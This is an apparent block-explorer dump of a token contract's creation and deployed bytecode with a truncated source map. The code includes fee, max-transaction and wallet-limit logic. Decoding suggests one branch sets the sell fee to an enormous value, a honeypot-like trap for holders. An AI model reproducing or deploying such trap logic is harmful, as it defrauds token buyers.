b9392505050565b6000610aa382846115f9565b6001600160a01b03831615801590610ad657506001600160a01b03821615155b610b165760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016107e8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bdb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e8565b6001600160a01b038216610c3d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e8565b6001600160a01b03831660009081526005602052604090205460ff16158015610c7f57506001600160a01b03821660009081526005602052604090205460ff16155b15610ce757601554811115610ce75760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107e8565b600c5460ff61010082048116911610801590610d0d5750601a54600160a01b900460ff16155b8015610d275750601a546001600160a01b03848116911614155b8015610d3c5750601a54600160a81b900460ff165b15610d7b57600c805460ff1916905530600090815260026020526040902054601554811115610d6a57506015545b8015610d7957610d7981610f06565b505b6001600160a01b03821660009081526004602052604090205460ff16610dd257601354610dc782610dc1856001600160a01b031660009081526002602052604090205490565b90610efa565b1115610dd257600080fd5b6001600160a01b03831660009081526006602052604090205460019060ff1680610e1457506001600160a01b03831660009081526006602052604090205460ff165b15610e7e57506001600160a01b03821660009081526007602052604081205460ff168015610e45575060185460ff16155b15610e79576001600160a01b0383166000908152600760205260409020546018805460ff191660ff90921615159190911790555b610ebc565b601a546001600160a01b0390811690851603610e9f57600e54600d55610ebc565b601a546001600160a01b0390811690841603610ebc57600f54600d555b610ec884848484610f4b565b50505050565b60008184841115610ef25760405162461bcd60e51b81526004016107e89190611353565b505050900390565b6000610aa3828461161b565b601a805460ff60a01b1916600160a01b179055610f2281610fa6565b6001544790610f3a906001600160a01b031682611123565b5050601a805460ff60a01b19169055565b80610f5f57610f5a600161115e565b610f8c565b600c805460ff16906000610f7283611633565b91906101000a81548160ff021916908360ff160217905550505b610f978484846111ae565b80610ec857610ec860016112dc565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610fdb57610fdb611652565b60200260200101906001600160a01b031690816001600160a01b031681525050601860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110729190611668565b8160018151811061108557611085611652565b6001600160a01b0392831660209182029290920101526018546110b091309161010090041684610ab6565b60185460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906110ed908590600090869030904290600401611685565b600060405180830381600087803b15801561110757600080fd5b505af115801561111b573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611159573d6000803e3d6000fd5b505050565b600d5415801561116b5750805b80156111775750600e54155b80156111835750600f54155b1561118b5750565b50600e8054601155600f8054601255600d80546010556000928390559082905555565b6000806111ba8361130f565b6001600160a01b03871660009081526002602052604090205491935091506111e29084611347565b6001600160a01b038087166000908152600260209081526040808320949094559187168152600790915220546112539060ff16611220576000611230565b600b546112309060001990611347565b6001600160a01b038616600090815260026020526040902054610dc19085610efa565b6001600160a01b03851660009081526002602052604080822092909255308152205461127f9082610efa565b3060009081526002602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b806112e45750565b601054600d55601154600e5560185460ff1661130257601254611309565b6402540be3fe5b600f5550565b60008060006064600d548561132491906115da565b61132e91906115f9565b9050600061133c8583611347565b959194509092505050565b6000610aa382846114d3565b600060208083528351808285015260005b8181101561138057858101830151858201604001528201611364565b81811115611392576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146113bd57600080fd5b50565b600080604083850312156113d357600080fd5b82356113de816113a8565b946020939093013593505050565b6000602082840312156113fe57600080fd5b8135610aa3816113a8565b60008060006060848603121561141e57600080fd5b8335611429816113a8565b92506020840135611439816113a8565b929592945050506040919091013590565b6000806040838503121561145d57600080fd5b8235611468816113a8565b91506020830135611478816113a8565b809150509250929050565b600181811c9082168061149757607f821691505b6020821081036114b757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156114e5576114e56114bd565b500390565b600181815b8085111561152557816000190482111561150b5761150b6114bd565b8085161561151857918102915b93841c93908002906114ef565b509250929050565b60008261153c575060016106ed565b81611549575060006106ed565b816001811461155f576002811461156957611585565b60019150506106ed565b60ff84111561157a5761157a6114bd565b50506001821b6106ed565b5060208310610133831016604e8410600b84101617156115a8575081810a6106ed565b6115b283836114ea565b80600019048211156115c6576115c66114bd565b029392505050565b6000610aa3838361152d565b60008160001904831182151516156115f4576115f46114bd565b500290565b60008261161657634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561162e5761162e6114bd565b500190565b600060ff821660ff8103611649576116496114bd565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561167a57600080fd5b8151610aa3816113a8565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116d55784516001600160a01b0316835293830193918301916001016116b0565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220716df952fd6aad341008aa8db566d86be1ff4fd4f128df9cb0aef8b51f9f854064736f6c634300080f0033
Deployed Bytecode
0x6080604052600436106101e75760003560e01c806378109e5411610102578063af465a2711610095578063d28d885211610064578063d28d8852146105b9578063dd62ed3e146105ce578063f2fde38b14610614578063f45128f51461063457600080fd5b8063af465a271461053e578063b09f126614610554578063b44ff6d914610569578063cba0e9961461059957600080fd5b806395d89b41116100d157806395d89b41146104b95780639e3bfa4d146104ce578063a457c2d7146104fe578063a9059cbb1461051e57600080fd5b806378109e541461043f5780637d1db4a5146104555780638da5cb5b1461046b578063928138001461048957600080fd5b80632598cdb21161017a5780634a74bb02116101495780634a74bb02146103b757806356fec693146103d857806370a08231146103f2578063715018a61461042857600080fd5b80632598cdb214610335578063313ce56714610355578063395093511461037757806349bd5a5e1461039757600080fd5b806318160ddd116101b657806318160ddd146102af5780631c880f10146102c4578063220f6696146102f457806323b872dd1461031557600080fd5b806306fdde03146101f35780630787b15d1461021e578063095ea7b3146102425780631694505e1461027257600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861064a565b6040516102159190611353565b60405180910390f35b34801561022a57600080fd5b50610234600f5481565b604051908152602001610215565b34801561024e57600080fd5b5061026261025d3660046113c0565b6106dc565b6040519015158152602001610215565b34801561027e57600080fd5b506018546102979061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610215565b3480156102bb57600080fd5b50600b54610234565b3480156102d057600080fd5b506102626102df3660046113ec565b60046020526000908152604090205460ff1681565b34801561030057600080fd5b50601a5461026290600160a01b900460ff1681565b34801561032157600080fd5b50610262610330366004611409565b6106f3565b34801561034157600080fd5b50600154610297906001600160a01b031681565b34801561036157600080fd5b50600a5460405160ff9091168152602001610215565b34801561038357600080fd5b506102626103923660046113c0565b61075c565b3480156103a357600080fd5b50601a54610297906001600160a01b031681565b3480156103c357600080fd5b50601a5461026290600160a81b900460ff1681565b3480156103e457600080fd5b506018546102629060ff1681565b3480156103fe57600080fd5b5061023461040d3660046113ec565b6001600160a01b031660009081526002602052604090205490565b34801561043457600080fd5b5061043d610792565b005b34801561044b57600080fd5b5061023460135481565b34801561046157600080fd5b5061023460155481565b34801561047757600080fd5b506000546001600160a01b0316610297565b34801561049557600080fd5b506102626104a43660046113ec565b60076020526000908152604090205460ff1681565b3480156104c557600080fd5b5061020861083b565b3480156104da57600080fd5b506102626104e93660046113ec565b60066020526000908152604090205460ff1681565b34801561050a57600080fd5b506102626105193660046113c0565b61084a565b34801561052a57600080fd5b506102626105393660046113c0565b610899565b34801561054a57600080fd5b50610234600b5481565b34801561056057600080fd5b506102086108a6565b34801561057557600080fd5b506102626105843660046113ec565b60056020526000908152604090205460ff1681565b3480156105a557600080fd5b506102346105b43660046113ec565b610934565b3480156105c557600080fd5b50610208610970565b3480156105da57600080fd5b506102346105e936600461144a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561062057600080fd5b5061043d61062f3660046113ec565b61097d565b34801561064057600080fd5b50610234600e5481565b60606008805461065990611483565b80601f016020809104026020016040519081016040528092919081815260200182805461068590611483565b80156106d25780601f106106a7576101008083540402835291602001916106d2565b820191906000526020600020905b8154815290600101906020018083116106b557829003601f168201915b5050505050905090565b60006106e9338484610ab6565b5060015b92915050565b6000610700848484610b77565b610752843361074d856040518060600160405280602881526020016116f7602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ece565b610ab6565b5060019392505050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916106e991859061074d9086610efa565b6000546001600160a01b031633146107f15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606009805461065990611483565b60006106e9338461074d8560405180606001604052806025815260200161171f602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190610ece565b60006106e9338484610b77565b600980546108b390611483565b80601f01602080910402602001604051908101604052809291908181526020018280546108df90611483565b801561092c5780601f106109015761010080835404028352916020019161092c565b820191906000526020600020905b81548152906001019060200180831161090f57829003601f168201915b505050505081565b6001600160a01b03811660009081526007602052604081205460ff166109645761095f6001806114d3565b6106ed565b6106ed601a600a6115ce565b600880546108b390611483565b6000546001600160a01b031633146109d75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107e8565b6001600160a01b038116610a3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107e8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610aa382846115da565b9392505050565b6000610aa382846115f9565b6001600160a01b03831615801590610ad657506001600160a01b03821615155b610b165760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016107e8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bdb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e8565b6001600160a01b038216610c3d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e8565b6001600160a01b03831660009081526005602052604090205460ff16158015610c7f57506001600160a01b03821660009081526005602052604090205460ff16155b15610ce757601554811115610ce75760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107e8565b600c5460ff61010082048116911610801590610d0d5750601a54600160a01b900460ff16155b8015610d275750601a546001600160a01b03848116911614155b8015610d3c5750601a54600160a81b900460ff165b15610d7b57600c805460ff1916905530600090815260026020526040902054601554811115610d6a57506015545b8015610d7957610d7981610f06565b505b6001600160a01b03821660009081526004602052604090205460ff16610dd257601354610dc782610dc1856001600160a01b031660009081526002602052604090205490565b90610efa565b1115610dd257600080fd5b6001600160a01b03831660009081526006602052604090205460019060ff1680610e1457506001600160a01b03831660009081526006602052604090205460ff165b15610e7e57506001600160a01b03821660009081526007602052604081205460ff168015610e45575060185460ff16155b15610e79576001600160a01b0383166000908152600760205260409020546018805460ff191660ff90921615159190911790555b610ebc565b601a546001600160a01b0390811690851603610e9f57600e54600d55610ebc565b601a546001600160a01b0390811690841603610ebc57600f54600d555b610ec884848484610f4b565b50505050565b60008184841115610ef25760405162461bcd60e51b81526004016107e89190611353565b505050900390565b6000610aa3828461161b565b601a805460ff60a01b1916600160a01b179055610f2281610fa6565b6001544790610f3a906001600160a01b031682611123565b5050601a805460ff60a01b19169055565b80610f5f57610f5a600161115e565b610f8c565b600c805460ff16906000610f7283611633565b91906101000a81548160ff021916908360ff160217905550505b610f978484846111ae565b80610ec857610ec860016112dc565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610fdb57610fdb611652565b60200260200101906001600160a01b031690816001600160a01b031681525050601860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110729190611668565b8160018151811061108557611085611652565b6001600160a01b0392831660209182029290920101526018546110b091309161010090041684610ab6565b60185460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906110ed908590600090869030904290600401611685565b600060405180830381600087803b15801561110757600080fd5b505af115801561111b573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611159573d6000803e3d6000fd5b505050565b600d5415801561116b5750805b80156111775750600e54155b80156111835750600f54155b1561118b5750565b50600e8054601155600f8054601255600d80546010556000928390559082905555565b6000806111ba8361130f565b6001600160a01b03871660009081526002602052604090205491935091506111e29084611347565b6001600160a01b038087166000908152600260209081526040808320949094559187168152600790915220546112539060ff16611220576000611230565b600b546112309060001990611347565b6001600160a01b038616600090815260026020526040902054610dc19085610efa565b6001600160a01b03851660009081526002602052604080822092909255308152205461127f9082610efa565b3060009081526002602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b806112e45750565b601054600d55601154600e5560185460ff1661130257601254611309565b6402540be3fe5b600f5550565b60008060006064600d548561132491906115da565b61132e91906115f9565b9050600061133c8583611347565b959194509092505050565b6000610aa382846114d3565b600060208083528351808285015260005b8181101561138057858101830151858201604001528201611364565b81811115611392576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146113bd57600080fd5b50565b600080604083850312156113d357600080fd5b82356113de816113a8565b946020939093013593505050565b6000602082840312156113fe57600080fd5b8135610aa3816113a8565b60008060006060848603121561141e57600080fd5b8335611429816113a8565b92506020840135611439816113a8565b929592945050506040919091013590565b6000806040838503121561145d57600080fd5b8235611468816113a8565b91506020830135611478816113a8565b809150509250929050565b600181811c9082168061149757607f821691505b6020821081036114b757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156114e5576114e56114bd565b500390565b600181815b8085111561152557816000190482111561150b5761150b6114bd565b8085161561151857918102915b93841c93908002906114ef565b509250929050565b60008261153c575060016106ed565b81611549575060006106ed565b816001811461155f576002811461156957611585565b60019150506106ed565b60ff84111561157a5761157a6114bd565b50506001821b6106ed565b5060208310610133831016604e8410600b84101617156115a8575081810a6106ed565b6115b283836114ea565b80600019048211156115c6576115c66114bd565b029392505050565b6000610aa3838361152d565b60008160001904831182151516156115f4576115f46114bd565b500290565b60008261161657634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561162e5761162e6114bd565b500190565b600060ff821660ff8103611649576116496114bd565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561167a57600080fd5b8151610aa3816113a8565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116d55784516001600160a01b0316835293830193918301916001016116b0565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220716df952fd6aad341008aa8db566d86be1ff4fd4f128df9cb0aef8b51f9f854064736f6c634300080f0033
Deployed Bytecode Sourcemap
12031:9548:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15055:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12962:28;;;;;;;;;;;;;;;;;;;762:25:1;;;750:2;735:18;12962:28:0;616:177:1;15892:161:0;;;;;;;;;;-1:-1:-1;15892:161:0;;;;;:::i;:::-;;:::i;:::-;;;1419:14:1;;1412:22;1394:41;;1382:2;1367:18;15892:161:0;1254:187:1;13488:41:0;;;;;;;;;;-1:-1:-1;13488:41:0;;;;;;;-1:-1:-1;;;;;13488:41:0;;;;;;-1:-1:-1;;;;;1636:32:1;;;1618:51;;1606:2;1591:18;13488:41:0;1446:229:1;15332:95:0;;;;;;;;;;-1:-1:-1;15412:7:0;;15332:95;;12391:57;;;;;;;;;;-1:-1:-1;12391:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13604:28;;;;;;;;;;-1:-1:-1;13604:28:0;;;;-1:-1:-1;;;13604:28:0;;;;;;16061:313;;;;;;;;;;-1:-1:-1;16061:313:0;;;;;:::i;:::-;;:::i;12157:92::-;;;;;;;;;;-1:-1:-1;12157:92:0;;;;-1:-1:-1;;;;;12157:92:0;;;15241:83;;;;;;;;;;-1:-1:-1;15307:9:0;;15241:83;;15307:9;;;;2759:36:1;;2747:2;2732:18;15241:83:0;2617:184:1;16382:218:0;;;;;;;;;;-1:-1:-1;16382:218:0;;;;;:::i;:::-;;:::i;13567:28::-;;;;;;;;;;-1:-1:-1;13567:28:0;;;;-1:-1:-1;;;;;13567:28:0;;;13639:40;;;;;;;;;;-1:-1:-1;13639:40:0;;;;-1:-1:-1;;;13639:40:0;;;;;;13448:31;;;;;;;;;;-1:-1:-1;13448:31:0;;;;;;;;15435:123;;;;;;;;;;-1:-1:-1;15435:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;15528:22:0;15501:7;15528:22;;;:13;:22;;;;;;;15435:123;11617:148;;;;;;;;;;;;;:::i;:::-;;13136:57;;;;;;;;;;;;;;;;13266:54;;;;;;;;;;;;;;;;11388:87;;;;;;;;;;-1:-1:-1;11434:7:0;11461:6;-1:-1:-1;;;;;11461:6:0;11388:87;;12572:52;;;;;;;;;;-1:-1:-1;12572:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15146:87;;;;;;;;;;;;;:::i;12515:50::-;;;;;;;;;;-1:-1:-1;12515:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16608:269;;;;;;;;;;-1:-1:-1;16608:269:0;;;;;:::i;:::-;;:::i;15566:167::-;;;;;;;;;;-1:-1:-1;15566:167:0;;;;;:::i;:::-;;:::i;12758:49::-;;;;;;;;;;;;;;;;12680:37;;;;;;;;;;;;;:::i;12455:53::-;;;;;;;;;;-1:-1:-1;12455:53:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19455:160;;;;;;;;;;-1:-1:-1;19455:160:0;;;;;:::i;:::-;;:::i;12633:40::-;;;;;;;;;;;;;:::i;15741:143::-;;;;;;;;;;-1:-1:-1;15741:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;15849:18:0;;;15822:7;15849:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;15741:143;11773:244;;;;;;;;;;-1:-1:-1;11773:244:0;;;;;:::i;:::-;;:::i;12928:27::-;;;;;;;;;;;;;;;;15055:83;15092:13;15125:5;15118:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15055:83;:::o;15892:161::-;15967:4;15984:39;2930:10;16007:7;16016:6;15984:8;:39::i;:::-;-1:-1:-1;16041:4:0;15892:161;;;;;:::o;16061:313::-;16159:4;16176:36;16186:6;16194:9;16205:6;16176:9;:36::i;:::-;16223:121;16232:6;2930:10;16254:89;16292:6;16254:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16254:19:0;;;;;;:11;:19;;;;;;;;2930:10;16254:33;;;;;;;;;;:37;:89::i;:::-;16223:8;:121::i;:::-;-1:-1:-1;16362:4:0;16061:313;;;;;:::o;16382:218::-;2930:10;16470:4;16519:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16519:34:0;;;;;;;;;;16470:4;;16487:83;;16510:7;;16519:50;;16558:10;16519:38;:50::i;11617:148::-;11434:7;11461:6;-1:-1:-1;;;;;11461:6:0;2930:10;11527:23;11519:68;;;;-1:-1:-1;;;11519:68:0;;3994:2:1;11519:68:0;;;3976:21:1;;;4013:18;;;4006:30;4072:34;4052:18;;;4045:62;4124:18;;11519:68:0;;;;;;;;;11724:1:::1;11708:6:::0;;11687:40:::1;::::0;-1:-1:-1;;;;;11708:6:0;;::::1;::::0;11687:40:::1;::::0;11724:1;;11687:40:::1;11755:1;11738:19:::0;;-1:-1:-1;;;;;;11738:19:0::1;::::0;;11617:148::o;15146:87::-;15185:13;15218:7;15211:14;;;;;:::i;16608:269::-;16701:4;16718:129;2930:10;16741:7;16750:96;16789:15;16750:96;;;;;;;;;;;;;;;;;2930:10;16750:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16750:34:0;;;;;;;;;;;;:38;:96::i;15566:167::-;15644:4;15661:42;2930:10;15685:9;15696:6;15661:9;:42::i;12680:37::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;19455:160::-;-1:-1:-1;;;;;19536:26:0;;19510:7;19536:26;;;:19;:26;;;;;;;;:71;;19592:15;19606:1;;19592:15;:::i;:::-;19536:71;;;19573:15;19585:2;19573;:15;:::i;12633:40::-;;;;;;;:::i;11773:244::-;11434:7;11461:6;-1:-1:-1;;;;;11461:6:0;2930:10;11527:23;11519:68;;;;-1:-1:-1;;;11519:68:0;;3994:2:1;11519:68:0;;;3976:21:1;;;4013:18;;;4006:30;4072:34;4052:18;;;4045:62;4124:18;;11519:68:0;3792:356:1;11519:68:0;-1:-1:-1;;;;;11862:22:0;::::1;11854:73;;;::::0;-1:-1:-1;;;11854:73:0;;5991:2:1;11854:73:0::1;::::0;::::1;5973:21:1::0;6030:2;6010:18;;;6003:30;6069:34;6049:18;;;6042:62;-1:-1:-1;;;6120:18:1;;;6113:36;6166:19;;11854:73:0::1;5789:402:1::0;11854:73:0::1;11964:6;::::0;;11943:38:::1;::::0;-1:-1:-1;;;;;11943:38:0;;::::1;::::0;11964:6;::::1;::::0;11943:38:::1;::::0;::::1;11992:6;:17:::0;;-1:-1:-1;;;;;;11992:17:0::1;-1:-1:-1::0;;;;;11992:17:0;;;::::1;::::0;;;::::1;::::0;;11773:244::o;2165:98::-;2223:7;2250:5;2254:1;2250;:5;:::i;:::-;2243:12;2165:98;-1:-1:-1;;;2165:98:0:o;2275:::-;2333:7;2360:5;2364:1;2360;:5;:::i;17422:266::-;-1:-1:-1;;;;;17517:19:0;;;;;;:44;;-1:-1:-1;;;;;;17540:21:0;;;;17517:44;17509:74;;;;-1:-1:-1;;;17509:74:0;;6793:2:1;17509:74:0;;;6775:21:1;6832:2;6812:18;;;6805:30;-1:-1:-1;;;6851:18:1;;;6844:47;6908:18;;17509:74:0;6591:341:1;17509:74:0;-1:-1:-1;;;;;17594:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17646:32;;762:25:1;;;17646:32:0;;735:18:1;17646:32:0;;;;;;;17422:266;;;:::o;17696:1617::-;-1:-1:-1;;;;;17830:18:0;;17822:68;;;;-1:-1:-1;;;17822:68:0;;7139:2:1;17822:68:0;;;7121:21:1;7178:2;7158:18;;;7151:30;7217:34;7197:18;;;7190:62;-1:-1:-1;;;7268:18:1;;;7261:35;7313:19;;17822:68:0;6937:401:1;17822:68:0;-1:-1:-1;;;;;17909:16:0;;17901:64;;;;-1:-1:-1;;;17901:64:0;;7545:2:1;17901:64:0;;;7527:21:1;7584:2;7564:18;;;7557:30;7623:34;7603:18;;;7596:62;-1:-1:-1;;;7674:18:1;;;7667:33;7717:19;;17901:64:0;7343:399:1;17901:64:0;-1:-1:-1;;;;;17982:26:0;;;;;;:20;:26;;;;;;;;17981:27;:66;;;;-1:-1:-1;;;;;;18023:24:0;;;;;;:20;:24;;;;;;;;18022:25;17981:66;17978:201;;;18110:12;;18072:6;:50;;18064:103;;;;-1:-1:-1;;;18064:103:0;;7949:2:1;18064:103:0;;;7931:21:1;7988:2;7968:18;;;7961:30;8027:34;8007:18;;;8000:62;-1:-1:-1;;;8078:18:1;;;8071:38;8126:19;;18064:103:0;7747:404:1;18064:103:0;18219:11;;;;;;;;18208:7;;:22;;;;:57;;-1:-1:-1;18249:16:0;;-1:-1:-1;;;18249:16:0;;;;18248:17;18208:57;:95;;;;-1:-1:-1;18290:13:0;;-1:-1:-1;;;;;18282:21:0;;;18290:13;;18282:21;;18208:95;:133;;;;-1:-1:-1;18320:21:0;;-1:-1:-1;;;18320:21:0;;;;18208:133;18191:497;;;18398:7;:11;;-1:-1:-1;;18398:11:0;;;18473:4;-1:-1:-1;15528:22:0;;;:13;:22;;;;;;18520:12;;18497:35;;18494:78;;;-1:-1:-1;18558:12:0;;18494:78;18589:24;;18586:91;;18629:36;18644:20;18629:14;:36::i;:::-;18367:321;18191:497;-1:-1:-1;;;;;18705:28:0;;;;;;:24;:28;;;;;;;;18701:87;;18772:15;;18743:25;18761:6;18743:13;18753:2;-1:-1:-1;;;;;15528:22:0;15501:7;15528:22;;;:13;:22;;;;;;;15435:123;18743:13;:17;;:25::i;:::-;:44;;18735:53;;;;;;-1:-1:-1;;;;;18833:23:0;;18801:10;18833:23;;;:17;:23;;;;;;18814:4;;18833:23;;;:47;;-1:-1:-1;;;;;;18859:21:0;;;;;;:17;:21;;;;;;;;18833:47;18829:418;;;-1:-1:-1;;;;;;18942:23:0;;18905:5;18942:23;;;:19;:23;;;;;;;;:54;;;;-1:-1:-1;18984:11:0;;;;18982:14;18942:54;18925:136;;;-1:-1:-1;;;;;19034:23:0;;;;;;:19;:23;;;;;;19014:11;19013:45;;-1:-1:-1;;19013:45:0;19034:23;;;;19013:45;;;;;;;;18925:136;18829:418;;;19092:13;;-1:-1:-1;;;;;19092:13:0;;;19084:21;;;;19080:167;;19134:7;;19121:10;:20;19080:167;;;19173:13;;-1:-1:-1;;;;;19173:13:0;;;19167:19;;;;19163:84;;19219:8;;19206:10;:21;19163:84;19267:38;19284:4;19289:2;19292:6;19299:5;19267:16;:38::i;:::-;17799:1514;17696:1617;;;:::o;2381:206::-;2467:7;2528:12;2520:6;;;;2512:29;;;;-1:-1:-1;;;2512:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2563:5:0;;;2381:206::o;1953:98::-;2011:7;2038:5;2042:1;2038;:5;:::i;19625:237::-;13922:16;:23;;-1:-1:-1;;;;13922:23:0;-1:-1:-1;;;13922:23:0;;;19710:38:::1;19727:20:::0;19710:16:::1;:38::i;:::-;19826:15;::::0;19781:21:::1;::::0;19813:41:::1;::::0;-1:-1:-1;;;;;19826:15:0::1;19781:21:::0;19813:12:::1;:41::i;:::-;-1:-1:-1::0;;13968:16:0;:24;;-1:-1:-1;;;;13968:24:0;;;19625:237::o;20356:393::-;20477:5;20473:114;;20498:27;20511:4;20498:12;:27::i;:::-;20473:114;;;20566:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;20473:114;20607:43;20624:6;20632:9;20643:6;20607:16;:43::i;:::-;20667:5;20663:65;;20688:28;20702:4;20688:13;:28::i;19872:474::-;19964:16;;;19978:1;19964:16;;;;;;;;19940:21;;19964:16;;;;;;;;;;-1:-1:-1;19964:16:0;19940:40;;20009:4;19991;19996:1;19991:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;19991:23:0;;;-1:-1:-1;;;;;19991:23:0;;;;;20035:15;;;;;;;;;-1:-1:-1;;;;;20035:15:0;-1:-1:-1;;;;;20035:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20025:4;20030:1;20025:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20025:32:0;;;:7;;;;;;;;;:32;20100:15;;20068:62;;20085:4;;20100:15;;;;20118:11;20068:8;:62::i;:::-;20141:15;;:197;;-1:-1:-1;;;20141:197:0;;:15;;;;-1:-1:-1;;;;;20141:15:0;;:66;;:197;;20222:11;;20248:1;;20265:4;;20292;;20312:15;;20141:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19927:419;19872:474;:::o;19323:120::-;19408:23;;-1:-1:-1;;;;;19408:15:0;;;:23;;;;;19424:6;;19408:23;;;;19424:6;19408:15;:23;;;;;;;;;;;;;;;;;;;;;19323:120;;:::o;16922:272::-;16983:10;;:15;:29;;;;;17002:10;16983:29;:45;;;;-1:-